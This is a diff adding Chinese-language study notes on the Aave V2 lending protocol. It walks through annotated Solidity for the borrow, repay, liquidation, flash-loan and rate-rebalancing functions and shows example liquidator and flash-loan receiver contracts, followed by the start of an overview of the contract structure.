+    // 使用浮动利率的借贷
+    isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint(
+      vars.user,
+      vars.onBehalfOf,
+      vars.amount,
+      reserve.variableBorrowIndex
+    );
+  }
+
+  // 如果是该用户的第一笔借贷，自动将该资产设为用户的借贷资产类
+  if (isFirstBorrowing) {
+    userConfig.setBorrowing(reserve.id, true);
+  }
+
+  // 跟新资产的利率（固定 和 浮动）
+  // 根据是否释放了借贷资产来判断liquidityTaken的数量
+  reserve.updateInterestRates(
+    vars.asset,
+    vars.aTokenAddress,
+    0,  // liquidityAdded
+    vars.releaseUnderlying ? vars.amount : 0 // liquidityTaken
+  );
+
+  // 如果releaseUnderlying为true 将借贷资产转给借贷受益人
+  // 在合约中只在LendingPool.borrow() 方法中找到该入参，其值固定为true
+  if (vars.releaseUnderlying) {
+    IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount);
+  }
+
+  emit Borrow(
+    vars.asset,
+    vars.user,
+    vars.onBehalfOf,
+    vars.amount,
+    vars.interestRateMode,
+    DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE
+      ? currentStableRate
+      : reserve.currentVariableBorrowRate,
+    vars.referralCode
+  );
+}
+```
+
+相关代码
+
+- [DataTypes](#DataTypes)
+- [reserve.updateState()](./6-ReserveLogic.md#updateState)
+- [reserve.updateInterestRates()](./6-ReserveLogic.md#updateInterestRates)
+- [StableDebtToken.mint()](./4-DebtToken.md#mint-stable)
+- [VariableDebtToken.mint()](./4-DebtToken.md#mint-variable)
+
+### repay
+
+偿还债务，并销毁相应的 debtToken。
+
+parameters:
+
+| Parameter Name | Type    | Description                                  |
+| -------------- | ------- | -------------------------------------------- |
+| asset          | address | 借贷资产的 token 地址                        |
+| amount         | uint256 | 偿还的数量，使用 `uint(-1)` 表示偿还所有债务 |
+| rateMode       | uint256 | 偿还借贷的利率类型，固定 1，浮动 2           |
+| onBehalfOf     | address | 承担债务的用户地址，默认填写 `msg.sender`    |
+
+```solidity
+/**
+  * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
+  * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
+  * @param asset The address of the borrowed underlying asset previously borrowed
+  * @param amount The amount to repay
+  * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
+  * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
+  * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
+  * user calling the function if he wants to reduce/remove his own debt, or the address of any other
+  * other borrower whose debt should be removed
+  * @return The final amount repaid
+  **/
+function repay(
+  address asset,
+  uint256 amount,
+  uint256 rateMode,
+  address onBehalfOf
+) external override whenNotPaused returns (uint256) {
+  DataTypes.ReserveData storage reserve = _reserves[asset];
+
+  // 获取偿还人的债务数量，分别调用 stableDectToken 和 variableDebtToken 的 balanceOf 方法
+  (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve);
+
+  // 获取偿债的类型 固定还是浮动
+  DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode);
+
+  ValidationLogic.validateRepay(
+    reserve,
+    amount,
+    interestRateMode,
+    onBehalfOf,
+    stableDebt,
+    variableDebt
+  );
+
+  // 根据偿债类型赋值待还款数量
+  uint256 paybackAmount =
+    interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt;
+
+  // 偿债数量 < 待还款数量 调整待还款数量
+  if (amount < paybackAmount) {
+    paybackAmount = amount;
+  }
+
+  // 更新资产状态信息 主要更新利率指数相关变量
+  reserve.updateState();
+
+  // 根据不同类型还款，调用debtToken.burn()
+  // 浮动类型债务需要资产的variableBorrowIndex
+  if (interestRateMode == DataTypes.InterestRateMode.STABLE) {
+    IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount);
+  } else {
+    IVariableDebtToken(reserve.variableDebtTokenAddress).burn(
+      onBehalfOf,
+      paybackAmount,
+      reserve.variableBorrowIndex
+    );
+  }
+
+  address aToken = reserve.aTokenAddress;
+  reserve.updateInterestRates(asset, aToken, paybackAmount, 0);
+
+  if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) {
+    _usersConfig[onBehalfOf].setBorrowing(reserve.id, false);
+  }
+
+  IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount);
+
+  IAToken(aToken).handleRepayment(msg.sender, paybackAmount);
+
+  emit Repay(asset, onBehalfOf, msg.sender, paybackAmount);
+
+  return paybackAmount;
+}
+```
+
+相关代码
+
+- [DataTypes](#DataTypes)
+- [reserve.updateState()](./6-ReserveLogic.md#updateState)
+- [reserve.updateInterestRates()](./6-ReserveLogic.md#updateInterestRates)
+- [StableDebtToken.burn()](./4-DebtToken.md#burn-stable)
+- [VariableDebtToken.burn()](./4-DebtToken.md#burn-variable)
+
+### swapBorrowRateMode
+
+切换用户(`msg.sender`)特定资产的借贷模式，浮动或固定利率。
+
+parameters:
+
+| Parameter Name | Type    | Description                        |
+| -------------- | ------- | ---------------------------------- |
+| asset          | address | 借贷资产的 token 地址              |
+| rateMode       | uint256 | 设置借贷的利率类型，固定 1，浮动 2 |
+
+```solidity
+/**
+  * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa
+  * @param asset The address of the underlying asset borrowed
+  * @param rateMode The rate mode that the user wants to swap to
+  **/
+function swapBorrowRateMode(address asset, uint256 rateMode) external override whenNotPaused {
+  DataTypes.ReserveData storage reserve = _reserves[asset];
+
+  // 获取偿还人的债务数量，分别调用 stableDectToken 和 variableDebtToken 的 balanceOf 方法
+  (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(msg.sender, reserve);
+
+  // 获取偿债的类型 固定还是浮动
+  DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode);
+
+  ValidationLogic.validateSwapRateMode(
+    reserve,
+    _usersConfig[msg.sender],
+    stableDebt,
+    variableDebt,
+    interestRateMode
+  );
+
+  // 更新资产状态信息 主要更新利率指数相关变量
+  reserve.updateState();
+
+  // 切换借贷类型，将原类型debtToken burn掉，然后mint出新类型的 debtToken
+  if (interestRateMode == DataTypes.InterestRateMode.STABLE) {
+    IStableDebtToken(reserve.stableDebtTokenAddress).burn(msg.sender, stableDebt);
+    IVariableDebtToken(reserve.variableDebtTokenAddress).mint(
+      msg.sender,
+      msg.sender,
+      stableDebt,
+      reserve.variableBorrowIndex
+    );
+  } else {
+    IVariableDebtToken(reserve.variableDebtTokenAddress).burn(
+      msg.sender,
+      variableDebt,
+      reserve.variableBorrowIndex
+    );
+    IStableDebtToken(reserve.stableDebtTokenAddress).mint(
+      msg.sender,
+      msg.sender,
+      variableDebt,
+      reserve.currentStableBorrowRate
+    );
+  }
+
+  reserve.updateInterestRates(asset, reserve.aTokenAddress, 0, 0);
+
+  emit Swap(asset, msg.sender, rateMode);
+}
+```
+
+### setUserUseReserveAsCollateral
+
+设置用户(`msg.sender`)特定资产是否作为抵押品。
+
+parameters:
+
+| Parameter Name  | Type    | Description           |
+| --------------- | ------- | --------------------- |
+| asset           | address | 抵押资产的 token 地址 |
+| useAsCollateral | bool    | true 代表设置为抵押品 |
+
+```solidity
+/**
+  * @dev Allows depositors to enable/disable a specific deposited asset as collateral
+  * @param asset The address of the underlying asset deposited
+  * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
+  **/
+function setUserUseReserveAsCollateral(address asset, bool useAsCollateral)
+  external
+  override
+  whenNotPaused
+{
+  DataTypes.ReserveData storage reserve = _reserves[asset];
+
+  ValidationLogic.validateSetUseReserveAsCollateral(
+    reserve,
+    asset,
+    useAsCollateral,
+    _reserves,
+    _usersConfig[msg.sender],
+    _reservesList,
+    _reservesCount,
+    _addressesProvider.getPriceOracle()
+  );
+
+  // 将用户设置的bitmap相应的位修改数值 （0 或 1）
+  _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, useAsCollateral);
+
+  if (useAsCollateral) {
+    emit ReserveUsedAsCollateralEnabled(asset, msg.sender);
+  } else {
+    emit ReserveUsedAsCollateralDisabled(asset, msg.sender);
+  }
+}
+```
+
+相关代码
+
+- [UserConfiguration.setUsingAsCollateral](./2-Configuration.md#setUsingAsCollateral)
+
+### liquidationCall
+
+清算健康系数低于 1 的头寸。
+
+当借款人的健康系数 `health factor` 低于 1 时，清算人可以代表借款人偿还部分或全部未偿还的债务，并获得一部分的抵押品作为奖励。
+
+```solidity
+/**
+  * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
+  * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
+  *   a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
+  * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+  * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+  * @param user The address of the borrower getting liquidated
+  * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+  * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
+  * to receive the underlying collateral asset directly
+  **/
+function liquidationCall(
+  address collateralAsset,
+  address debtAsset,
+  address user,
+  uint256 debtToCover,
+  bool receiveAToken
+) external override whenNotPaused {
+  // 获取抵押管理合约地址
+  address collateralManager = _addressesProvider.getLendingPoolCollateralManager();
+
+  // 调用抵押管理合约进行清算，返回处理结果
+  //solium-disable-next-line
+  (bool success, bytes memory result) =
+    collateralManager.delegatecall(
+      abi.encodeWithSignature(
+        'liquidationCall(address,address,address,uint256,bool)',
+        collateralAsset,
+        debtAsset,
+        user,
+        debtToCover,
+        receiveAToken
+      )
+    );
+
+  // 断言执行成功
+  require(success, Errors.LP_LIQUIDATION_CALL_FAILED);
+
+  // 解析执行返回码
+  (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string));
+
+  // 当返回码不为0，revert返回信息
+  require(returnCode == 0, string(abi.encodePacked(returnMessage)));
+}
+```
+
+相关代码
+
+- [LendingPoolCollateralManager.liquidationCall](./8-LendingPoolCollateralManager.md#liquidationCall)
+
+#### Liquidation process
+
+详情参见 [Liquidations guide](https://docs.aave.com/developers/guides/liquidations)
+
+0. Prerequisites
+
+   - 确认被清算人健康系数 < 1.
+   - 确认可清算债务数量和用于支付的资产数量
+     - 清算债务不能超过总债务的 50%
+     - `debtToCover` 传入 `uint(-1)` 或 `type(uint).max` 将自动使用可清算的最大数量
+     - 保证充足的可用于支付清算的资产
+   - 确认你将要平仓的抵押资产，即被清算人的抵押资产用于还款后，你将收到其中一部分作为赏金
+   - 确认你要收到的是 aToken 还是原始资产
+
+1. Getting accounts to liquidate
+
+   - On-chain
+     - 监听链上事件
+     - 直接查询 LendingPool 合约接口 `getUserAccountData()`
+   - GraphQL(subgraph)
+     - graph 不提供实时的健康系数计算，可以通过 `Aave.js` package 本地计算
+     - [Aave 官方 subgraph](https://docs.aave.com/developers/getting-started/using-graphql)
+
+2. Executing the liquidation call
+
+   - 使用 `AaveProtocolDataProvider` 合约的 `getUserReserveData()` 接口，或者 subgraph 的 `UserReserve`
+   - 计算最大可清算的数量，总债务的 50%。`debtToCover = (userStableDebt + userVariableDebt) * LiquidationCloseFactorPercent`
+   - 对于每个 `usageAsCollateralEnabled` 属性为 true 的资产，可以由清算奖励比例计算最大的清算数量
+     `maxAmountOfCollateralToLiquidate = (debtAssetPrice * debtToCover * liquidationBonus)/ collateralPrice`
+
+3. Setting up a bot
+
+   - 确保有足够的清算资金
+   - 计算贷款成本和 gas 成本，同时考虑最有利的清算方案
+   - 确认机器人可以获取最新的用户数据
+   - 能应对突发故障或恶意攻击
+
+#### Calculating profitability vs gas cost
+
+1. 检索存储每一个抵押资产相关信息 [地址，精度，清算奖励比例等等](https://docs.aave.com/risk/asset-risk/risk-parameters)
+2. 获取被清算用户的抵押品余额 `aTokenBalance`
+3. 通过 `AaveOracle` 合约 `getAssetPrice` 接口获取资产价格
+4. 最大清算奖励价值 = 抵押品余额(2) \* 清算奖励比例(1) \* 抵押资产的 ETH 价格(3)。注意资产的精度区别，比如 USDC 精度只有 6.
+5. 交易最大成本应该还是 gas 费
+6. 估算利润 = 清算奖励价值(4) - 交易成本(5)
+
+#### Health Factor
+
+`Hf 健康系数 = 用户抵押资产ETH价值 * LiquidationThreshold / 总借贷资产ETH价值`
+
+当 Hf < 1 时用户可以被清算以维持偿债能力
+
+![liquidation process](https://files.gitbook.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-M51Fy3ipxJS-0euJX3h%2F-Mk1qqmrNtNTqFzc0Eel%2F-Mk1qzfsd56GDwzmytSo%2FRisk%20-%20Alexandra%402x.jpg?alt=media&token=d686b9eb-4145-49ef-a214-123030bbd074)
+
+橙色部分的抵押资产会被以清算奖励折扣卖给清算人，其折扣部分的价值即为清算奖励。在合约中 `liquidationBonus` 是清算奖励比例+1，如 DAI 的清算比例设置为 5%，则合约中 `liquidationBonus = 105%`。
+
+#### Liquidator
+
+清算调用合约示例
+
+```solidity
+pragma solidity ^0.6.6;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "./ILendingPoolAddressesProvider.sol";
+import "./ILendingPool.sol";
+
+
+contract Liquidator {
+
+    address constant lendingPoolAddressProvider = INSERT_LENDING_POOL_ADDRESS
+
+    function myLiquidationFunction(
+        address _collateral,
+        address _reserve,
+        address _user,
+        uint256 _purchaseAmount,
+        bool _receiveaToken
+    )
+        external
+    {
+        ILendingPoolAddressesProvider addressProvider = ILendingPoolAddressesProvider(lendingPoolAddressProvider);
+
+        ILendingPool lendingPool = ILendingPool(addressProvider.getLendingPool());
+
+        //  调用前保证LendingPool合约可以转入用于清算债务的资产
+        require(IERC20(_reserve).approve(address(lendingPool), _purchaseAmount), "Approval error");
+
+        // Assumes this contract already has `_purchaseAmount` of `_reserve`.
+        lendingPool.liquidationCall(_collateral, _reserve, _user, _purchaseAmount, _receiveaToken);
+    }
+}
+```
+
+### flashloan
+
+允许池子中的流动性被用于闪电贷。调用合约发送所需的资产和数量调用该接口，在交易结束之前需要归还借贷数量+手续费的资产。
+
+如果交易结束时没有归还足够的资产，则：
+
+- `mode = 0` 时，交易 revert
+- `mode = 1` 时，`onBehalfOf` 地址产生固定利率债务
+- `mode = 2` 时，`onBehalfOf` 地址产生浮动利率债务
+
+parameters:
+
+| Parameter Name  | Type               | Description        |
+| --------------- | ------------------ | ------------------ |
+| receiverAddress | address            | 贷款受益人         |
+| assets          | address[] calldata | 借贷资产地址(数组) |
+| amounts         | unit256[] calldata | 借贷数量地址(数组) |
+| modes           | unit256[] calldata | 借贷模式(数组)     |
+| onBehalfOf      | address            | 贷款还款人         |
+| params          | bytes              | 入参编码           |
+| referralCode    | uint16             | 推介码             |
+
+闪电具体使用方法参考官方的指引文档 [Flash Loans Guides](https://docs.aave.com/developers/guides/flash-loans)
+
+```solidity
+/**
+  * @dev Allows smartcontracts to access the liquidity of the pool within one transaction,
+  * as long as the amount taken plus a fee is returned.
+  * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration.
+  * For further details please visit https://developers.aave.com
+  * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface
+  * @param assets The addresses of the assets being flash-borrowed
+  * @param amounts The amounts amounts being flash-borrowed
+  * @param modes Types of the debt to open if the flash loan is not returned:
+  *   0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
+  *   1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
+  *   2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
+  * @param onBehalfOf The address  that will receive the debt in the case of using on `modes` 1 or 2
+  * @param params Variadic packed params to pass to the receiver as extra information
+  * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+  *   0 if the action is executed directly by the user, without any middle-man
+  **/
+function flashLoan(
+  address receiverAddress,
+  address[] calldata assets,
+  uint256[] calldata amounts,
+  uint256[] calldata modes,
+  address onBehalfOf,
+  bytes calldata params,
+  uint16 referralCode
+) external override whenNotPaused { // 1. 提问: 为什么这里不用加nonReentrant
+  FlashLoanLocalVars memory vars;
+
+  ValidationLogic.validateFlashloan(assets, amounts); // 验证资产地址和借贷数量，两个参数（数组）的长度相等
+
+  address[] memory aTokenAddresses = new address[](assets.length);  // 缓存 aToken 地址
+  uint256[] memory premiums = new uint256[](assets.length); // 缓存每笔资产闪电的手续费
+
+  vars.receiver = IFlashLoanReceiver(receiverAddress);  // 闪电贷调用者合约实例（接受贷款的合约）
+
+  for (vars.i = 0; vars.i < assets.length; vars.i++) {  // 遍历缓存aToken地址 和 累加手续费，并先将贷款转给调用者
+    aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress;
+
+    premiums[vars.i] = amounts[vars.i].mul(_flashLoanPremiumTotal).div(10000);  // premium = amount * 9 / 10000
+
+    IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]); // 先将贷款转给调用者
+  }
+
+  // 1. 回答: 因为这里有判断返回值, 无法递归调用闪电贷函数
+  require(  // 调用回调函数，回调方法必须返回true，否则交易失败
+    vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params),
+    Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN
+  );
+
+  for (vars.i = 0; vars.i < assets.length; vars.i++) {  // 遍历入参，执行闪电贷逻辑
+    vars.currentAsset = assets[vars.i];
+    vars.currentAmount = amounts[vars.i];
+    vars.currentPremium = premiums[vars.i];
+    vars.currentATokenAddress = aTokenAddresses[vars.i];
+    vars.currentAmountPlusPremium = vars.currentAmount.add(vars.currentPremium);
+
+    if (DataTypes.InterestRateMode(modes[vars.i]) == DataTypes.InterestRateMode.NONE) { // mode = 0, 代表执行闪电贷
+      // 更新池子状态，增发手续费部分的流动性（对于池子来说，手续费是增加的资产）
+      _reserves[vars.currentAsset].updateState();
+      _reserves[vars.currentAsset].cumulateToLiquidityIndex(
+        IERC20(vars.currentATokenAddress).totalSupply(),
+        vars.currentPremium
+      );
+      _reserves[vars.currentAsset].updateInterestRates(
+        vars.currentAsset,
+        vars.currentATokenAddress,
+        vars.currentAmountPlusPremium,
+        0
+      );
+
+      IERC20(vars.currentAsset).safeTransferFrom( // 从调用者合约转入token （借贷数量+手续费）
+        receiverAddress,
+        vars.currentATokenAddress,
+        vars.currentAmountPlusPremium
+      );
+    } else {  // mode != 0 执行常规借贷逻辑
+      // If the user chose to not return the funds, the system checks if there is enough collateral and
+      // eventually opens a debt position
+      _executeBorrow(
+        ExecuteBorrowParams(
+          vars.currentAsset,
+          msg.sender,
+          onBehalfOf,
+          vars.currentAmount,
+          modes[vars.i],
+          vars.currentATokenAddress,
+          referralCode,
+          false
+        )
+      );
+    }
+    emit FlashLoan(
+      receiverAddress,
+      msg.sender,
+      vars.currentAsset,
+      vars.currentAmount,
+      vars.currentPremium,
+      referralCode
+    );
+  }
+}
+```
+
+闪电贷调用合约示例，主要实现了以下逻辑
+
+- 保证有 `executeOperation` 回调方法，让 LendingPool 合约回调
+  - 方法内可以写使用贷款的逻辑
+  - 保证每一种资产都授予了 LendingPool 足够的使用数量（approve），还款金额+手续费
+  - 最后返回 true，代表执行成功，否则闪电贷失败
+- 组装调用 `LendingPool.flashLoan()` 的入参，主要是三个数组入参，资产地址，借贷数量，调用模式
+- [示例 github 地址](https://github.com/aave/code-examples-protocol/tree/main/V2/Flash%20Loan%20-%20Batch)
+
+```solidity
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity 0.6.12;
+
+import { FlashLoanReceiverBase } from "FlashLoanReceiverBase.sol";
+import { ILendingPool, ILendingPoolAddressesProvider, IERC20 } from "Interfaces.sol";
+import { SafeMath } from "Libraries.sol";
+
+/**
+    !!!
+    Never keep funds permanently on your FlashLoanReceiverBase contract as they could be
+    exposed to a 'griefing' attack, where the stored funds are used by an attacker.
+    !!!
+ */
+contract MyV2FlashLoan is FlashLoanReceiverBase {
+    using SafeMath for uint256;
+
+    constructor(ILendingPoolAddressesProvider _addressProvider) FlashLoanReceiverBase(_addressProvider) public {}
+
+    /**
+        This function is called after your contract has received the flash loaned amount
+     */
+    function executeOperation(
+        address[] calldata assets,
+        uint256[] calldata amounts,
+        uint256[] calldata premiums,
+        address initiator,
+        bytes calldata params
+    )
+        external
+        override
+        returns (bool)
+    {
+
+        //
+        // This contract now has the funds requested.
+        // Your logic goes here.
+        //
+
+        // At the end of your logic above, this contract owes
+        // the flashloaned amounts + premiums.
+        // Therefore ensure your contract has enough to repay
+        // these amounts.
+
+        // Approve the LendingPool contract allowance to *pull* the owed amount
+        for (uint i = 0; i < assets.length; i++) {
+            uint amountOwing = amounts[i].add(premiums[i]);
+            IERC20(assets[i]).approve(address(LENDING_POOL), amountOwing);
+        }
+
+        return true;
+    }
+
+    function myFlashLoanCall() public {
+        address receiverAddress = address(this);
+
+        address[] memory assets = new address[](7);
+        assets[0] = address(0xB597cd8D3217ea6477232F9217fa70837ff667Af); // Kovan AAVE
+        assets[1] = address(0x2d12186Fbb9f9a8C28B3FfdD4c42920f8539D738); // Kovan BAT
+        assets[2] = address(0xFf795577d9AC8bD7D90Ee22b6C1703490b6512FD); // Kovan DAI
+        assets[3] = address(0x075A36BA8846C6B6F53644fDd3bf17E5151789DC); // Kovan UNI
+        assets[4] = address(0xb7c325266ec274fEb1354021D27FA3E3379D840d); // Kovan YFI
+        assets[5] = address(0xAD5ce863aE3E4E9394Ab43d4ba0D80f419F61789); // Kovan LINK
+        assets[6] = address(0x7FDb81B0b8a010dd4FFc57C3fecbf145BA8Bd947); // Kovan SNX
+
+        uint256[] memory amounts = new uint256[](7);
+        amounts[0] = 1 ether;
+        amounts[1] = 1 ether;
+        amounts[2] = 1 ether;
+        amounts[3] = 1 ether;
+        amounts[4] = 1 ether;
+        amounts[5] = 1 ether;
+        amounts[6] = 1 ether;
+
+        // 0 = no debt, 1 = stable, 2 = variable
+        uint256[] memory modes = new uint256[](7);
+        modes[0] = 0;
+        modes[1] = 0;
+        modes[2] = 0;
+        modes[3] = 0;
+        modes[4] = 0;
+        modes[5] = 0;
+        modes[6] = 0;
+
+        address onBehalfOf = address(this);
+        bytes memory params = "";
+        uint16 referralCode = 0;
+
+        LENDING_POOL.flashLoan(
+            receiverAddress,
+            assets,
+            amounts,
+            modes,
+            onBehalfOf,
+            params,
+            referralCode
+        );
+    }
+}
+```
+
+### rebalanceStableBorrowRate
+
+将用户的稳定利率再平衡为储备中定义的当前稳定利率。满足条件的用户，被销毁所有固定利率债务，生成同等数量的浮动利率债务。
+
+如果满足以下条件，可以再平衡用户：
+
+1. 使用率 95% 以上 (Utillization > 0.95)
+2. 当前存款 APY 低于 REBALANCE_UP_THRESHOLD \* maxVariableBorrowRate，这意味着已经过多以稳定利率借入而储户收入不足
+
+```solidity
+/**
+* @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
+* - Users can be rebalanced if the following conditions are satisfied:
+*     1. Usage ratio is above 95%
+*     2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been
+*        borrowed at a stable rate and depositors are not earning enough
+* @param asset The address of the underlying asset borrowed
+* @param user The address of the user to be rebalanced
+**/
+function rebalanceStableBorrowRate(address asset, address user) external override whenNotPaused {
+  DataTypes.ReserveData storage reserve = _reserves[asset];
+
+  IERC20 stableDebtToken = IERC20(reserve.stableDebtTokenAddress);
+  IERC20 variableDebtToken = IERC20(reserve.variableDebtTokenAddress);
+  address aTokenAddress = reserve.aTokenAddress;
+
+  uint256 stableDebt = IERC20(stableDebtToken).balanceOf(user);
+
+  // 这里验证上述两个条件是否满足
+  ValidationLogic.validateRebalanceStableBorrowRate(
+    reserve,
+    asset,
+    stableDebtToken,
+    variableDebtToken,
+    aTokenAddress
+  );
+
+  reserve.updateState();
+
+  IStableDebtToken(address(stableDebtToken)).burn(user, stableDebt);
+  IStableDebtToken(address(stableDebtToken)).mint(
+    user,
+    user,
+    stableDebt,
+    reserve.currentStableBorrowRate
+  );
+
+  reserve.updateInterestRates(asset, aTokenAddress, 0, 0);
+
+  emit RebalanceStableBorrowRate(asset, user);
+}
+```
+
+## Struct
+
+### DataTypes
+
+LendingPool 中的主要数据类型。
+
+- ReserveData 资产的主要数据变量
+- ReserveConfigurationMap 资产的设置，以 bitmap 形式存储，即用一个 unit256 位数字存储，不同位数对应不同的配置。
+- UserConfigurationMap 用户相关的配置，和上述形式相同。
+- InterestRateMode 资产的计息类型
+  - NONE
+  - STABLE
+  - VARIABLE
+
+```solidity
+
+library DataTypes {
+  // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
+  struct ReserveData {
+    //stores the reserve configuration
+    ReserveConfigurationMap configuration;
+    //the liquidity index. Expressed in ray
+    uint128 liquidityIndex;
+    //variable borrow index. Expressed in ray
+    uint128 variableBorrowIndex;
+    //the current supply rate. Expressed in ray
+    uint128 currentLiquidityRate;
+    //the current variable borrow rate. Expressed in ray
+    uint128 currentVariableBorrowRate;
+    //the current stable borrow rate. Expressed in ray
+    uint128 currentStableBorrowRate;
+    uint40 lastUpdateTimestamp;
+    //tokens addresses
+    address aTokenAddress;
+    address stableDebtTokenAddress;
+    address variableDebtTokenAddress;
+    //address of the interest rate strategy
+    address interestRateStrategyAddress;
+    //the id of the reserve. Represents the position in the list of the active reserves
+    uint8 id; // 这个id如果放到lastUpdateTimestamp这个变量后面, 应该可以节省一些插槽位置
+  }
+
+  // 这里把多个变量合并成一个256bit的数字, 很节省空间
+  struct ReserveConfigurationMap {
+    //bit 0-15: LTV
+    //bit 16-31: Liq. threshold
+    //bit 32-47: Liq. bonus
+    //bit 48-55: Decimals
+    //bit 56: Reserve is active
+    //bit 57: reserve is frozen
+    //bit 58: borrowing is enabled
+    //bit 59: stable rate borrowing enabled
+    //bit 60-63: reserved
+    //bit 64-79: reserve factor
+    uint256 data;
+  }
+
+  struct UserConfigurationMap {
+    uint256 data;
+  }
+
+  enum InterestRateMode {NONE, STABLE, VARIABLE}
+}
+```
diff --git a/defi/Aave/contract/readme.md b/defi/Aave/contract/readme.md
new file mode 100644
index 000000000..0c0730a83
--- /dev/null
+++ b/defi/Aave/contract/readme.md
@@ -0,0 +1,123 @@
+# AAVE contract guide
+
+![Protocol Overview](https://files.gitbook.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-M3C77KySce4HXyLqkEq%2F-MNbklkK7vNPshPbrCZ-%2F-MNbxHseq3eFT7u8gEo3%2Fimage.png?alt=media&token=61a006eb-8d2b-4de6-8498-05fc889feed3)
+
+## contract constructure
+
+### Main contracts
+
+主要合约
+
+#### LendingPool
+
+AAve 协议最主要的入口合约，大部分情况下，用户与此合约交互。
+
+- deposit()
+- borrow()
+- repay()
+- swapBorrowRateMode()
+- setUserUseReserveAsCollateral()
+- withdraw()
+- flashloan()
+- liquidationCall()
+
+详细内容请戳这里 :point_right: [LendingPool](./9-LendingPool.md)
+
+#### LendingPoolAddressesProvider
+
+主要的地址存储合约，针对特定的不同市场（不同公链的 aave）都有不同的该合约。外部合约调用该合约能得到最新的合约地址（aave 其他模块的合约地址）。
+
+#### LendingPoolAddressesProviderRegistry
+
+存储一个列表，罗列出不同市场的 `LendingPoolAddressesProvider` 合约地址。
+
+#### AToken
+
+aave 中的计息代币，当用户存入抵押资产时获得 1：1 对应的 atoken（比如存入 100DAI 抵押，获得 100aDai）。aToken 基本参照 ERC20 标准，增加了以下接口：
+
+- scaledBalanceOf()
+- getScaledUserBalanceAndSupply()
+- scaledTotalSupply()
+
+aToken 也通过 `permit()` 实现了 EIP-2612 提案。
+
+详细内容请戳这里 :point_right: [AToken](./3-AToken.md)
+
+#### Stable and Variable Debt Tokens
+
+当用户从协议中贷出资产，获得 1:1 数量的 debt tokens。债务代币的大部分 ERC20 方法都被禁用，因为债务是不可转让。
+
+详细内容请戳这里 :point_right: [DebtToken](./4-DebtToken.md)
+
+### Supporting contracts
+
+辅助合约
+
+#### LendingPoolCollateralManager
+
+抵押品管理合约，执行具体的清算逻辑。LendingPool 合约会通过 `delegatecall` 调用该合约进行清算。
+
+详细内容请戳这里 :point_right: [LendingPoolCollateralManager](./8-LendingPoolCollateralManager.md)
+
+#### LendingPoolConfigurator
+
+为 LedingPool 合约提供配置功能。每项配置的改变都会发送事件到链上，任何人可见。
+
+详细内容请戳这里 :point_right: [Configuration](./2-Configuration.md)
+
+#### ReserveInterestRateStrategy
+
+利率更新策略合约。
+
+详细内容请戳这里 :point_right: [ReserveInterestRateStrategy](./7-DefaultReserveInterestRateStrategy.md)
+
+#### Price Oracle Provider
+
+价格预言机提供合约。
+
+#### Library contracts
+
+依赖库合约。
+
+#### DeployHelper
+
+辅助部署的合约
+
+- StableAndVariableTokensHelper 用于链上部署 StableDebtToken, VariableDebtToken 合约
+- ATokensAndRatesHelper 用于链上部署 Atoken, ReserveInterestRateStrategy 合约
+
+#### WETHGateway
+
+用户使用 ETH 作为资产不能直接和 LendingPool 进行交互，需要使用该合约转换成 WETH，代理操作。
+
+#### Treasury
+
+协议金库，AToken 中每存入抵押品都会分出一定比例的资产作为准备金，并且提供了提取准备金到金库的方法，暂时不明具体的使用规则。
+
+## Deploy flow
+
+合约部署流程简述。了解部署流程，以便更好理解 AAVE 项目的结构。具体的部署脚本在 `aave-protocol-v2/tasks/full`
+
+0. 检查当前网络上是否有 `LendingPoolAddressesProviderRegistry` 合约，该合约用于注册并储存各个市场(`market`)的 provider 合约地址
+   - 如果没有需要部署，保证当前网络上有且只有一个
